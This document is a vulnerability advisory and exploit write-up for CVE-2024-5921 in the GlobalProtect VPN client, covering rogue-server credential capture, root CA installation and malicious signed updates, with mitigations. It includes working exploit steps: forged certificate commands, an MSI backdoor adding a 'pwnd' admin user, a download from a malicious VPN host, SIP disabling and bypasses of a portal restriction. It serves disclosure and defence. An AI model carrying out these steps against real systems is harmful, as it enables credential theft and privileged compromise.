Palo Alto GlobalProtect - RCE and Privilege Escalation via Malicious VPN Server (CVE-2024-5921)

Summary

Both the Windows and macOS versions of the GlobalProtect VPN client are vulnerable to remote code execution (RCE) and privilege escalation via the automatic update mechanism. While the update process requires MSI files to be signed, attackers can exploit the PanGPS service to install a maliciously trusted root certificate, enabling RCE and privilege escalation. The updates are executed with the privilege level of the service component (SYSTEM on Windows and root on macOS).

By default, users can specify arbitrary endpoints in the VPN client’s UI component (PanGPA). This behaviour can be exploited in social engineering attacks, where attackers trick users into connecting to rogue VPN servers. These servers can capture login credentials and compromise systems through malicious client updates.

Impact

A malicious VPN endpoint can:

  • Capture user login credentials.
  • Execute arbitrary code with elevated privileges, resulting in full system compromise.
  • Install a malicious root certificate, enabling further attacks such as code signing forgery or man-in-the-middle attacks.

Affected Versions

The vulnerability was tested on client version 6.3.1-c383, which was the latest version at the time of publication. However, Palo Alto has advised that a mitigation is available from version 6.2.6 on Windows, requiring administrators to enable the FULLCHAINCERTVERIFY configuration parameter to enforce stricter certificate validation.

The vendor also advises that running the GlobalProtect client in FIPS-CC mode can serve as a workaround. For more information on enabling and verifying FIPS-CC mode, refer to the vendor’s documentation.

For comprehensive guidance on implementing these mitigations, please refer to the Palo Alto Networks advisory.

Timeline

  • 2024-04-15: Vulnerability reported to Palo Alto PSIRT.
  • 2024-04-18: Acknowledgement received from Palo Alto PSIRT.
  • 2024-07-14: Disclosure deadline reached.
  • 2024-07-19: AmberWolf emailed Palo Alto for an update and offered to extend the disclosure deadline.
  • 2024-07-25: Palo Alto PSIRT confirmed no fixes were available and none were expected before October 2024.
  • 2024-08-08: AmberWolf informed Palo Alto of plans to publish details at SANS HackFest Hollywood.
  • 2024-10-28: AmberWolf presented vulnerability details at SANS HackFest Hollywood.
  • 2024-11-23: Palo Alto PSIRT notified AmberWolf of their advisory publication date (2024-11-25).
  • 2024-11-25: AmberWolf advisory published.

References

Exploit Overview

This section provides a high-level explanation of how the vulnerability in the GlobalProtect VPN client can be exploited. It describes the connection process used by the client, highlights key components such as the Portal and Gateway, and outlines the attacker’s ability to manipulate this process. For in-depth technical details, you can skip to the “Technical Details” section below.

The GlobalProtect VPN connection process involves two stages:

Portal Authentication
  • Handles initial authentication and configuration retrieval.
  • Typically accessed via an FQDN (e.g., portal.company.com).
  • Returns configuration data, including:
    • A root certificate for installation in the trusted certificate store.
    • The version of the VPN client to check for updates.
Gateway Connection
  • Manages VPN traffic using credentials passed transparently from the Portal.
  • Accessed via an IP address obtained during the portal authentication process.

Attackers can exploit this behaviour by:

  • Manipulating the <root-ca> XML configuration to install a rogue certificate.
  • Setting the <version> value higher than the client’s current version in the configuration.
  • Initiating a transparent update process through an attacker-controlled Gateway.
Exploit Overview

Exploit Overview

Demos

The following demo videos illustrate how this vulnerability can be exploited on Windows and macOS. Both demos show the launch of a Mythic C2 beacon on the target systems via a rogue VPN endpoint.

Windows
macOS

Technical Details

The following sections provide an in-depth explanation of the GlobalProtect connection flow and how the exploit leverages these mechanisms.

Portal

This component handles the initial authentication process via a series of HTTPS requests, optionally handing off to an IDP for authentication where required. It is typically accessed via a fully qualified domain name (FQDN) (e.g., portal.company.com) and requires a TLS certificate trusted by a commonly recognised certificate authority. The Portal returns configuration data that instructs the client on which gateway to use for VPN traffic.

Gateway

The Gateway component manages VPN traffic after the Portal authentication process. It begins with HTTPS requests, transitioning to a TLS-encapsulated stream of proprietary packets for VPN communication. Gateway authentication occurs transparently, with credentials automatically sent by the client if Portal authentication succeeds. Unlike the Portal, the Gateway is usually accessed via its IP address (IPv4 or IPv6), provided by the Portal during authentication.

The diagram below summarises the high-level connection flow:

Connection Flow

Connection Flow

TLS Certificate Provisioning

While obtaining a TLS certificate for an IP address is technically feasible, GlobalProtect simplifies the process by allowing administrators to provide their own certificate authority (CA). This CA can generate TLS certificates for the Gateway’s IP address.

To streamline certificate distribution, the server supplies the CA certificate in PEM-encoded format during the Portal authentication flow. The client is instructed to install this CA certificate into its trusted certificate authority store. This mechanism, along with the implicit trust the GlobalProtect client places in the server, forms the foundation of the exploit.

Analysing the VPN Connection Traffic

The VPN connection journey begins when a user enters the VPN endpoint address into the client:

Endpoint Configuration

Endpoint Configuration

Clicking “Connect” sends the following POST request without any payload:

POST /global-protect/prelogin.esp?kerberos-support=yes&tmp=tmp&clientVer=4100&host-id=<removed>&clientos=Windows&os-version=Microsoft+Windows+11+Pro+%2c+64-bit&ipv6-support=yes&default-browser=0 HTTP/1.1

The server responds with the preferred authentication method. In this example, the standard Portal username and password flow is assumed:

HTTP/1.1 200 OK
Content-type: application/xml; charset=UTF-8
Content-Length: 449

<?xml version="1.0" encoding="UTF-8" ?>
<prelogin-response>
<status>Success</status>
<ccusername></ccusername>
<autosubmit>false</autosubmit>
<msg></msg>
<newmsg></newmsg>
<authentication-message>Enter Portal password</authentication-message>
<username-label>Username</username-label>
<password-label>Password</password-label>
<panos-version>1</panos-version>
<saml-default-browser>yes</saml-default-browser><region>GB</region>
</prelogin-response>

This prompts the user to provide credentials:

Credential Prompt

Credential Prompt

Upon entering valid credentials, the client completes authentication and retrieves the VPN configuration. The following POST request shows the credentials being sent:

POST /global-protect/getconfig.esp HTTP/1.1
Connection: close
Content-Type: application/x-www-form-urlencoded
User-Agent: PAN GlobalProtect/6.0.0-262 (Microsoft Windows 11 Pro , 64-bit) Mozilla/5.0 (Windows NT 6.2; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 397

user=testuser&passwd=testpassword&inputStr=&ok=Login&clientVer=4100&portal-userauthcookie=&portal-prelogonuserauthcookie=&clientos=Windows&clientgpversion=6.0.0-262&computer=WIN11CLIENT&os-version=Microsoft+Windows+11+Pro+%2c+64-bit&host-id=<removed>&prelogin-cookie=&ipv6-support=yes&serialno=<removed>&csc-digest=&config-digest=&csc-support=yes

The server responds with configuration data, formatted as an XML “policy” object. Below is an excerpt of the configuration:

HTTP/1.1 200 OK
Content-type: application/xml
Content-Length: 9547

<?xml version="1.0" encoding="UTF-8" ?>
<policy>
  <portal-name>GP-portal</portal-name>
  <portal-config-version>4100</portal-config-version>
  <version>6.30.6-87</version>
  <client-role>global-protect-full</client-role>
  <agent-user-override-key>****</agent-user-override-key>
  <root-ca>
    <entry name="GlobalProtectCA">
      <cert>
-----BEGIN CERTIFICATE-----
MIIC/zCCAeegAwIBAgIUCq1ZNOl1Y77FXWCnPviJKIXYbM4wDQYJKoZIhvcNAQEL
...
-----END CERTIFICATE-----
      </cert>
      <install-in-cert-store>yes</install-in-cert-store>
    </entry>
  </root-ca>
  <uninstall>allowed</uninstall>
  <client-upgrade>transparent</client-upgrade>
  ...
</policy>

The GlobalProtect client inherently trusts this configuration. The only validation performed is ensuring the server has a valid TLS certificate for its domain and that the provided credentials are accepted.

To streamline this explanation, less relevant configuration data has been omitted. However, for the purposes of this exploit, the root-ca, version, uninstall, and client-upgrade elements are crucial.

The root-ca element
<root-ca>
  <entry name="GlobalProtectCA">
    <cert>
-----BEGIN CERTIFICATE-----
<REMOVED>
-----END CERTIFICATE-----
    </cert>
    <install-in-cert-store>yes</install-in-cert-store>
  </entry>
</root-ca>

This element directs the client to install the provided certificate in its trusted certificate store. Although received by the client running in a standard user context, the PanGPS service running with SYSTEM privileges installs the certificate in the machine’s certificate store.

As previously discussed, the purpose of this is to allow the GlobalProtect gateway’s IP address to use a TLS certificate that is trusted by the client. However, this mechanism also allows an attacker to install a certificate that the machine fully trusts for all purposes claimed by the certificate. This could facilitate man-in-the-middle (MITM) attacks to intercept sensitive data or enable the attacker to sign and execute malicious software that appears legitimate.

The version
<version>6.30.6-87</version>

The version tag returned to the client determines whether an update request is triggered. If the value is higher than the client’s currently installed version, an upgrade will be requested upon successful connection.

The gateway specification
<external>
	<list>
		<entry name="GWay">
			<ipv4>192.168.100.1</ipv4>
			<priority-rule>
				<entry name="Any">
					<priority>1</priority>
				</entry>
			</priority-rule>
			<priority>1</priority>
			<manual>yes</manual>
		</entry>
	</list>
</external>

This configuration instructs the client to connect to the specified gateway after completing the Portal authentication process.

Upgrade instructions
<uninstall>allowed</uninstall>
<client-upgrade>transparent</client-upgrade>

The client-upgrade settings dictate how upgrades are managed. According to Palo Alto’s documentation:

  • Allow with Prompt (Default)—Users are prompted to upgrade when a new version of the app is activated on the firewall.
  • Allow Transparently—Upgrades occur automatically without user interaction. Upgrades can occur when the user is working remotely or connected within the corporate network.
  • Internal—Upgrades occur automatically without user interaction, provided the user is connected within the corporate network. This setting is recommended to prevent slow upgrades in low-bandwidth situations. When a user connects outside the corporate network, the upgrade is postponed and re-activated when the user connects within the corporate network. Note that you must configure internal gateways and internal host detection to use this option.
  • Disallow—This option prevents app upgrades.
  • Allow Manually—End users initiate app upgrades. In this case, the user must select “Check Version” from the settings menu on the GlobalProtect status panel to determine if there is a new app version available, and then upgrade if desired. Note that this option will not work if the GlobalProtect app is hidden from the user.

When set to transparent, updates occur automatically without user consent, irrespective of user location.

Handing off to the Gateway

After receiving the configuration from the Portal, the client sends a pre-login request to the specified Gateway (192.168.100.1 in this case):

POST /ssl-vpn/prelogin.esp?kerberos-support=yes&tmp=tmp&clientVer=4100&host-id=<REMOVED>&clientos=Windows&os-version=Microsoft+Windows+11+Pro+%2c+64-bit&ipv6-support=yes&default-browser=0 HTTP/1.1

The Gateway responds with a prompt for credentials:

<?xml version="1.0" encoding="UTF-8" ?>
<prelogin-response>
<status>Success</status>
<ccusername></ccusername>
<autosubmit>false</autosubmit>
<msg></msg>
<newmsg></newmsg>
<license>yes</license>
<authentication-message>Enter login credentials</authentication-message>
<username-label>Username</username-label>
<password-label>Password</password-label>
<panos-version>1</panos-version>
<saml-default-browser>yes</saml-default-browser>
<auth-api>no</auth-api><region>192.168.0.0-192.168.255.255</region>
</prelogin-response>

The client then reuses the credentials previously sent to the Portal for this request (depending on the authentication method):

POST /ssl-vpn/login.esp HTTP/1.1

user=testuser&passwd=testpassword&computer=WIN11CLIENT&ok=Login&direct=yes&clientVer=4100&os-version=Microsoft+Windows+11+Pro+%2c+64-bit&preferred-ip=&preferred-ipv6=&clientos=Windows&clientgpversion=6.0.0-262&portal-userauthcookie=empty&portal-prelogonuserauthcookie=empty&host-id=<REMOVED>&prelogin-cookie=&ipv6-support=yes&client-ip=172.27.98.37&client-ipv6=&internal=no&serialno=<REMOVED>&connect-method=on-demand&selection-type=auto

The server then provides session details in a jnlp XML response:

<?xml version="1.0" encoding="UTF-8" ?>
<jnlp>
<application-desc>
<argument></argument>
<argument>REMOVED</argument>
<argument>REMOVED</argument>
<argument>Gway</argument>
<argument>testuser</argument>
<argument>GlobalProtect Local Auth</argument>
<argument>vsys1</argument>
<argument>(empty_domain)</argument>
<argument></argument>
<argument></argument>
<argument></argument>
<argument></argument>
<argument>tunnel</argument>
<argument>-1</argument>
<argument>4100</argument>
<argument>192.168.100.122</argument>
<argument>empty</argument>
<argument>empty</argument>
<argument></argument>
<argument>4</argument>
<argument></argument>
<argument></argument>
</application-desc>
</jnlp>

A follow-up POST to /ssl-vpn/getconfig.esp retrieves routing and timeout configurations:

<response status="success">
        <need-tunnel>yes</need-tunnel>
        <ssl-tunnel-url>/ssl-tunnel-connect.sslvpn</ssl-tunnel-url>
        <portal>Gway</portal>
        <user>testuser</user>
        <quarantine>no</quarantine>
        <lifetime>2592000</lifetime>
        <timeout>10800</timeout>
        <lifetime-notify-prior>1800</lifetime-notify-prior>
        <lifetime-notify-message>Your GlobalProtect session will expire in 30 minutes. Please save your work before your session expires.</lifetime-notify-message>
        <inactivity-notify-prior>1800</inactivity-notify-prior>
        <inactivity-notify-message>Your GlobalProtect session will time out in 30 minutes. Please save your work before your session times out.</inactivity-notify-message>
        <admin-logout-notify-message>Your administrator has logged you out.</admin-logout-notify-message>
        <user_expires>1711900239</user_expires>
        <disconnect-on-idle>10800</disconnect-on-idle>
        <bw-c2s>1000</bw-c2s>
        <bw-s2c>1000</bw-s2c>
        <panos-version>11.1.0</panos-version>
        <gw-address>8.8.8.8</gw-address>
        <ipv6-connection>no</ipv6-connection>
        <ip-address>192.168.100.122</ip-address>
        <netmask>255.255.255.255</netmask>
        <ip-address-preferred>yes</ip-address-preferred>
        <dns>
                <member>8.8.4.4</member>
        </dns>
        <wins>
        </wins>
        <dns-suffix>
        </dns-suffix>
        <default-gateway>192.168.100.1</default-gateway>
        <mtu>0</mtu>
        <no-direct-access-to-local-network>no</no-direct-access-to-local-network>
        <access-routes>
                <member>0.0.0.0/0</member>
        </access-routes>
        <exclude-access-routes>
        </exclude-access-routes>
</response>

Finally, the client initiates the VPN connection via:

GET /ssl-tunnel-connect.sslvpn?user=testuser&authcookie=<cookievalue> HTTP/1.1

The Gateway responds with a START_TUNNEL message, after which the client uses the established TCP connection to exchange VPN packets. These packets are identified by the prefix 1a2b3c4d.

The screenshot below captures the final HTTPS request and the transition to proprietary VPN traffic:

START_TUNNEL Message

START_TUNNEL Message

Forcing an “Upgrade”

If the <version> tag in the original Portal authentication response specifies a value higher than the version currently installed on the client, the client requests an update from the Portal:

GET /global-protect/getmsi.esp?version=64&platform=windows&v=6.30.6-87 HTTP/1.1
Host: vpn.company.com
Cookie: PHPSESSID=<REMOVED>
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Connection: close

The server responds with an HTTP 302 redirect to the appropriate installer for the client’s operating system and architecture:

HTTP/1.1 302 Moved Temporarily
Date: Tue, 05 Mar 2024 17:24:29 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Connection: close
Pragma: no-cache
Location: msi/GlobalProtect64.msi

When the <client-upgrade> setting is configured as transparent, the MSI is downloaded and executed without requiring user consent. Configuring the setting to prompt displays a notification to the user that an update is available.

Exploit Capabilities

Analysing this HTTPS exchange reveals that an attacker-controlled server can respond to GlobalProtect client requests and issue malicious instructions, including:

  • Disclosure of Credentials: Harvesting authentication details entered by the user.
  • Installation of a Rogue Root Certificate Authority: Enabling further attacks such as man-in-the-middle (MITM) or code-signing.
  • Manipulation of Routing Configurations: Pushing malicious routing settings to control network traffic.
  • Requesting Malicious Updates: Triggering the client to fetch and execute an MSI, provided it is signed by a trusted authority.
Exploit Requirements

To bypass server-side validation and deploy a malicious update, the following conditions must be met:

  • Server Authentication Certificate: A certificate for the Portal signed by a publicly recognised certificate authority.
  • Custom Root Certificate Authority (CA): A locally generated CA PEM file served to the client and installed into the trusted certificate store.
  • Code Signing Certificate: A certificate signed by the custom CA to sign the malicious MSI.
Bypassing Signature Verification

Within the PanGPS.exe service, the signature verification process consists of two steps:

  1. Validating the MSI’s signature using WinVerifyTrust.
  2. Ensuring the signer’s Common Name (CN) matches “Palo Alto Networks” or “Palo Alto Networks, Inc”.
Signer Check

Signer Check

By creating a code-signing certificate signed by the root CA installed during the getconfig stage, attackers can bypass this check. This enables the installation of a malicious MSI with SYSTEM-level privileges, completing the exploitation process.

Generating Certificates

The following commands demonstrate how to generate the certificates required for this attack using OpenSSL.

First, create a new root CA to sign the Gateway and code-signing certificates.

Generate a CA certificate:

# Generate the Root CA private key
$ openssl genrsa -out myCA.key 2048
$ openssl req -x509 -new -nodes -key myCA.key -sha256 -days 3650 -out myCA.crt -subj "/CN=MyCA"

Sign the gateway certificate:

# Create a configuration file for the Gateway certificate
$ cat > certificate.conf << EOF
[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
req_extensions = req_ext

[dn]
CN = 192.168.100.1

[req_ext]
subjectAltName = @alt_names
extendedKeyUsage = serverAuth, clientAuth

[alt_names]
IP.1 = 192.168.100.1
EOF

# Generate the Gateway private key
$ openssl genrsa -out server.key 2048

# Create a certificate signing request (CSR)
$ openssl req -new -key server.key -out server.csr -config certificate.conf

# Sign the CSR with the Root CA to create the Gateway certificate
$ openssl x509 -req -in server.csr -CA myCA.crt -CAkey myCA.key -CAcreateserial \
-out server.crt -days 365 -sha256 -extfile certificate.conf -extensions req_ext

The code-signing certificate will be used to sign the MSI file for the upgrade process. The PanGPS service validates that the Common Name (CN) of the signing certificate matches either “Palo Alto Networks” or “Palo Alto Networks, Inc”. Because we control the CA, we can create a certificate with the expected CN.

# Create a configuration file for the Code-Signing certificate
$ cat > codesign.conf << EOF
[req]
default_bits = 2048
prompt = no
default_md = sha256
distinguished_name = dn
req_extensions = req_ext

[dn]
CN = Palo Alto Networks

[req_ext]
keyUsage = critical, digitalSignature
extendedKeyUsage = codeSigning
EOF

# Generate the Code-Signing private key
$ openssl genrsa -out codesign.key 2048

# Create a CSR for the Code-Signing certificate
$ openssl req -new -key codesign.key -out codesign.csr -config codesign.conf

# Sign the CSR with the Root CA to create the Code-Signing certificate
$ openssl x509 -req -in codesign.csr -CA myCA.crt -CAkey myCA.key -CAcreateserial \
-out codesign.crt -days 365 -sha256 -extfile codesign.conf -extensions req_ext

# Create a PKCS12 file for signing with osslsigncode
$ openssl pkcs12 -export -out codesign.pfx -inkey codesign.key -in codesign.crt \
-certfile myCA.crt -passout pass:password
Exploiting the Upgrade Process

Writing a small Python web server allows us to respond to the HTTPS requests of the client with the expect responses. This means that we can:

  • Respond to requests to the Portal FQDN address with a certificate signed by LetsEncrypt.
  • Collect and accept any credentials (valid or invalid) while allowing the VPN connection to continue.
  • Instruct the client to install a Root CA trusted for code-signing and server verification.
  • Trigger a client upgrade by reporting a newer version.
  • Supply the IP address of a controlled Gateway.
  • Accept connections to the Gateway using a certificate signed by the trusted CA.
  • Respond with configuration XML to complete the setup.
  • Accept and respond to requests to start a VPN tunnel with the magic 1a2b3c4d packets
  • Supply a malicious MSI file signed with the custom code-signing certificate.
Signing the MSI

To exploit the upgrade process, the MSI must be signed with the code-signing certificate trusted by the installed Root CA. During the upgrade, the existing GlobalProtect client is uninstalled, so to avoid a denial of service, the legitimate MSI can be backdoored and re-signed. The following osslsigncode commands achieve this:

# Remove existing MSI signature
$ osslsigncode remove-signature -in GlobalProtect.msi -out GlobalProtect.msi.nosig

# Backdoor or modify the MSI file
$ python msi_patcher.py -i GlobalProtect.msi.nosig -o GlobalProtect.msi.patched \
-c "net user pwnd Passw0rd123 /add"

# Sign the MSI with the Code-Signing certificate
$ osslsigncode sign -pkcs12 codesign.pfx -pass password -in GlobalProtect.msi.patched \
-out GlobalProtect.msi.signed

# Verify the signed MSI file
$ osslsigncode verify -in GlobalProtect.msi.signed -CAfile myCA.crt

After the malicious MSI is executed with SYSTEM privileges, the attacker gains full control over the target machine. The process tree for the execution is shown below:

Process Tree

Process Tree

Exploiting macOS

The macOS version of the GlobalProtect client operates similarly to the Windows version, utilising HTTPS requests for initial authentication and configuration before establishing a VPN tunnel using proprietary packets. The core exploit can be largely adapted from the Windows process; however, the macOS client uses .pkg files for installation instead of MSI files, and the signing requirements differ slightly.

To verify the legitimacy of a .pkg file, macOS performs two checks:

  • The package must be signed by a recognised authority (e.g., the attacker’s custom CA).
  • The signing developer identity must match Palo Alto Networks (PXPZ95SK77).

By analysing the PanGPS service binary, we identified a shell command that checks the developer identity using pkgutil and grep:

% strings /Applications/GlobalProtect.app/Contents/Resources/PanGPS | grep -i pkgutil

(/usr/sbin/pkgutil --check-signature '%s' && /usr/bin/grep '1. Developer ID Installer: Palo Alto Networks (PXPZ95SK77)' && pkg '%s' -target / ) 2>/&1) >> '%s'

Creating a custom code-signing certificate with the required CN (Developer ID Installer: Palo Alto Networks (PXPZ95SK77)) satisfies this signature check.

Signing the .pkg File

The .pkg format, based on the xar archive structure, contains metadata and file hashes stored in its Table of Contents (TOC). A custom Python script or tools like xar can modify the .pkg file to append the attacker’s signing and CA certificates to the TOC and generate an RSA signature for the modified TOC. Alternatively, Apple’s productsign utility can be used for signing.

In the next section we will detail how to sign the .pkg file using productsign on a macOS VM, without reliance on custom tooling.

Generating a macOS Code-Signing Certificate

To generate the code signing certificate using a macOS VM, we first need to create the following applesign.conf file:

[req]
distinguished_name = req_name
prompt = no

[req_name]
CN = Developer ID Installer: Palo Alto Networks (PXPZ95SK77)

[extensions]
basicConstraints=critical,CA:false
keyUsage=critical,digitalSignature
extendedKeyUsage=critical,1.2.840.113635.100.4.13
1.2.840.113635.100.6.1.14=critical,DER:0500

Generate the key and certificate:

$ openssl genrsa -out apple_sign.key 2048
$ openssl req -new -key apple_sign.key -out apple_sign.csr -config applesign.conf
$ openssl x509 -req -days 365 -in apple_sign.csr -CA myCA.pem -CAkey myCA.key -CAcreateserial -out apple_sign.crt -extfile applesign.conf -extensions extensions
$ openssl pkcs12 -export -out codesign.p12 -inkey apple_sign.key -in apple_sign.crt -certfile myCA.pem -passout pass:password
Handling SIP Restrictions

To use productsign, the attacker’s custom root CA must be added to the System Root Certificates keychain. However, macOS’s System Integrity Protection (SIP) restricts modifications to the system keychain. Disabling SIP can be done in Recovery mode:

$ csrutil authenticated-root disable

After rebooting, remount the /System partition:

$ mkdir -p -m777 ~/mount
$ sudo mount -o nobrowse -t apfs /dev/disk3s4 ~/mount

Import the custom CA certificate:

$ sudo security add-trusted-cert -d -r trustRoot -k ~/mount/System/Library/Keychains/SystemRootCertificates.keychain myCA.pem
Trusted Root CA in Keychain

Trusted Root CA in Keychain

Finally, import the code-signing certificate (codesign.p12) into the user’s login keychain via Keychain Access or the security command-line tool.

Imported Signing Certificate

Imported Signing Certificate

Signing with productsign

We can now use productsign to sign the malicious .pkg:

$ productsign --sign "Developer ID Installer: Palo Alto Networks (PXPZ95SK77)" /tmp/GlobalProtect.pkg /tmp/GlobalProtect.signed.pkg

As mentioned previously, these steps detail how to perform manual steps to sign the file on a macOS VM. However, our malicious VPN server automates this process and will serve a signed .pkg file.

To demonstrate that this .pkg file served by the malicious VPN server is trusted by the client system once the root certificate has been installed by the GlobalProtect client, we can run the same command that GlobalProtect uses to verify the signature:

$ curl -H "User-Agent: GlobalProtect Darwin" https://malvpn.example.com/msi/GlobalProtect.pkg -O
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  2693  100  2693    0     0  22625      0 --:--:-- --:--:-- --:--:-- 22822

$ /usr/sbin/pkgutil --check-signature GlobalProtect.pkg
Package "GlobalProtect.pkg":
   Status: signed by a certificate trusted on this system
   Certificate Chain:
    1. Developer ID Installer: Palo Alto Networks (PXPZ95SK77)
       Expires: 2025-04-11 17:01:55 +0000
       SHA256 Fingerprint:
           EF 94 63 78 06 6E E7 97 AF B5 E8 EE AA CB 3D AE D3 95 68 74 4B E8
           44 AB B9 3F 1F A4 8E 9A 1D EA
       ------------------------------------------------------------------------
    2. Palo Alto CA - e7fc98c8-dc44-402b-a085-7744c6b823c8
       Expires: 2025-04-11 17:01:54 +0000
       SHA256 Fingerprint:
           DD A2 0E 65 B7 9F 28 B5 B7 4C 57 9C CA 18 6C 64 EA 78 3E B9 2C 34
           23 9D D9 C2 C4 C1 DD A1 F1 7E

$ pkgutil --check-signature GlobalProtect.pkg | /usr/bin/grep '1. Developer ID Installer: Palo Alto Networks (PXPZ95SK77)'
    1. Developer ID Installer: Palo Alto Networks (PXPZ95SK77)

We can also check the signature using the “What’s Your Sign?” tool:

What&rsquo;s Your Sign Tool

What’s Your Sign Tool

With the .pkg file signed, the attacker can host it on their malicious VPN server. After the GlobalProtect client installs the attacker’s root CA, the malicious .pkg passes all verification checks and is executed. For example, a proof-of-concept .pkg with a preinstall script could write a file to /tmp as root:

Installer Log Output

Installer Log Output

The following screenshot demonstrates successful execution of the exploit, where the payload runs with root privileges:

Successful Root Code Execution

Successful Root Code Execution

Mitigation Steps

Vendor Mitigation in Versions 6.2.6 and Above

Starting with version 6.2.6 on Windows, Palo Alto Networks introduced an additional configuration option, FULLCHAINCERTVERIFY. When enabled, this setting ensures that the GlobalProtect client performs full certificate chain validation against the system’s trusted certificate store. This mitigates the risk of an attacker installing a malicious root certificate.

The vendor also advises that running the GlobalProtect client in FIPS-CC mode can serve as a workaround. For more information on enabling and verifying FIPS-CC mode, refer to the vendor’s documentation: Enable and Verify FIPS-CC Mode.

For comprehensive guidance on implementing these mitigations, please refer to the Palo Alto Networks advisory.

Host Hardening

Implementing host-based firewall rules can mitigate this issue by restricting PanGPA.exe and PanGPS.exe processes to connect only to legitimate corporate VPN endpoints. This measure reduces the risk of social engineering attacks that might trick users into connecting to rogue VPN servers.

Client Configuration

GlobalProtect offers configuration options to restrict users from modifying VPN endpoints. For example, the Allow User to Change Portal Address setting can be disabled in the PanOS web interface (Network > Portals > Agent > Configs > App menu). When disabled, the setting appears in the configuration XML as:

<can-change-portal>yes</can-change-portal>

This prevents users from selecting alternative endpoints in the client UI. However, this setting can be bypassed on both Windows and macOS.

1. Windows Bypass
HKEY_CURRENT_USER\SOFTWARE\Palo Alto Networks\GlobalProtect\Settings\<VPN ENDPOINT>\Configurations2

Since this registry key is writable by low-privileged users, an attacker could modify the hext value of the setting, or delete the VPN endpoint key entirely - rendering the control ineffective in a privilege escalation scenario.

2. macOS Bypass

On macOS, the configuration is cached in a .cfg file under:

/Users/<user>/Library/Application\ Support/PaloAltoNetworks

For example: PanPortalCfg_2363bad04a70bfcd44c4afd7c8756f92.dat.

As this file is owned by the logged-in user, the can-change-portal setting can be bypassed by:

  1. Deleting the .cfg file.
  2. Terminating the GlobalProtect user process.
  3. Cancelling the login prompt when the process restarts.

These actions restore the ability to select an arbitrary endpoint, enabling a local malicious user to exploit the .pkg upgrade vulnerability previously outlined.

You May Also Like